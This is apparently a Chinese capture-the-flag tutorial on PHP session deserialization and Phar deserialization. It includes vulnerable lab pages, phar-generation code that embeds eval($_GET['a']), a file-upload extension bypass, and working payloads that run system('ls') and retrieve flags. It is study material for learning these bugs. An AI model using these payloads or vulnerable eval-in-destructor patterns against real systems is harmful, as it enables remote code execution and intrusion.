highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['benben'] = $_GET['ben'];
$_SESSION['b'] = $_GET['b'];
?>
提交:
?ben=test1&b=test2
session文件内容(在终端中部分内容无法正常显示):
^Fbenbens:5:"test1";^Abs:5:"test2";
提交session值
该页面使用php_serialize方式保存session
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['ben'] = $_GET['a'];
?>
漏洞页面
能够触发session内反序列化漏洞页面
highlight_file(__FILE__);
error_reporting(0);
class Testobj
{
var $output="echo 'ok';";
function __destruct()
{
eval($this->output);
}
}
if(isset($_GET['filename']))
{
$filename=$_GET['filename'];
var_dump(file_exists($filename));
}
?>
分析:
该页面默认使用PHP方式读取session文件,在读取过程中会进行反序列化,反序列化后析构函数被触发,eval函数成功调用。只需要在提交页面提交一个反序列化的对象(前面加 | ),漏洞页面调用时将 | 前的内容当作键名,其后内容当作序列化对象进行反序列化,达到目的。
构造序列化对象代码:
class D{
var $a='system("ls");';
}
echo serialize(new D());
输出:
O:1:"D":1:{s:1:"a";s:13:"system("ls");";}
Payload:
?a=|O:1:"D":1:{s:1:"a";s:13:"system("ls");";}
session文件:
a:1:{s:3:"ben";s:42:"|O:1:"D":1:{s:1:"a";s:13:"system("ls");";}
刷新漏洞页面后回显:
class03 class04 class05 class06 class07 class08 class09 class10 class11 class12 class13 class14 class15 class16 class17 class18 class19 class20 class21 class22 class23 index.html info.php php.ini tmp
0x21 session反序列化例题
session反序列化例题
基础例题用以测试是否了解session反序列化技术
highlight_file(__FILE__);
session_start();
class Flag{
public $name;
public $her;
function __wakeup(){
$this->her=md5(rand(1, 10000));
if ($this->name===$this->her){
include('flag.php');
echo $flag;
}
}
}
?>
根据提示,这道题还有个hint.php页面如下:
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['a'] = $_GET['a'];
?>
不难发现这页面是可以利用来提交序列化对象的
分析:
判断属性name对于her才输出flag,her的值时随机生成的md5加密的值,这就需要之前想到的引用的利用了。
构造序列化对象代码如下:
class Flag{
public $name;
public $her;
}
$a = new Flag();
$a->name=&$a->her;
echo serialize($a);
输出:
O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}
Payload:
?a=|O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}
刷新漏洞页面,回显:
ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}
0x22 Phar反序列化介绍
生成phar文件
该页面可生成一个phar文件,该文件能mata-data写入序列化字符串
highlight_file(__FILE__);
class Testobj
{
var $output='';
}
@unlink('test.phar'); //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub(''); //写入stub
$o=new Testobj();
$o->output='eval($_GET["a"]);';
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering();
?>
漏洞页面
通过phar伪协议,访问另一个页面生成的phar文件导致命令执行漏洞
highlight_file(__FILE__);
error_reporting(0);
class Testobj
{
var $output="echo 'ok';";
function __destruct()
{
eval($this->output);
}
}
if(isset($_GET['filename']))
{
$filename=$_GET['filename'];
var_dump(file_exists($filename));
}
?>
分析:
这道题严格意义上来说不能算反序列化漏洞的利用。
在生成phar文件页面,生成了一个含类Testobj序列化对象的phar文件test.phar,并且该对象的属性output的值为eval($_GET["a"]);,这使得我们可以轻松地通过GET方法提交命令。
在漏洞页面,函数file_exists()具有文件包含能力,可以调用phar伪协议读取test.phar,读取自动将序列化对象反序列化,进而触发析构函数,执行命令。
Payload:
?filename=phar://test.phar&a=system("ls");
页面回显:
bool(true) class03 class04 class05 class06 class07 class08 class09 class10 class11 class12 class13 class14 class15 class16 class17 class18 class19 class20 class21 class22 class23 index.html info.php php.ini tmp
0x23 Phar反序列化例题
phar反序列化例题
highlight_file(__FILE__);
error_reporting(0);
class TestObject {
public function __destruct() {
include('flag.php');
echo $flag;
}
}
$filename = $_POST['file'];
if (isset($filename)){
echo md5_file($filename);
}
//upload.php
?>
根据提示,该题还有个文件上传页面:
分析:
漏洞页面的md5_file()函数可以调用phar伪协议读取phar文件,并对其中的序列化对象反序列化,进而触发析构函数中的echo flag语句。所以我们只需要生成上传一个phar文件然后在漏洞页面读取就好。这道题很简单,我们在phar文件生成时只需要实例化一个对象就可以了。需要注意的是,这道题的漏洞页面提交方式是POST!!!
生成代码如下:
class TestObject
{
}
@unlink('test.phar'); //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub(''); //写入stub
$o=new TestObject();
//$o->output='eval($_GET["a"]);';
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering();
将文件上传:
直接上传会被过滤导致上传失败,好在phar文件对文件名没有要求,改个后缀就行了。然后根据这个路径在漏洞页面调用。
Payload:
POST方式提交:
file=phar://upload/test.png
页面回显:
ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}
参考:
【1】https://www.cnblogs.com/457248499-qq-com/p/7383008.html
【G】ChatGPT 3.5-turbo
来源地址:https://blog.csdn.net/weixin_73051164/article/details/131085273
免责声明:
① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。
② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341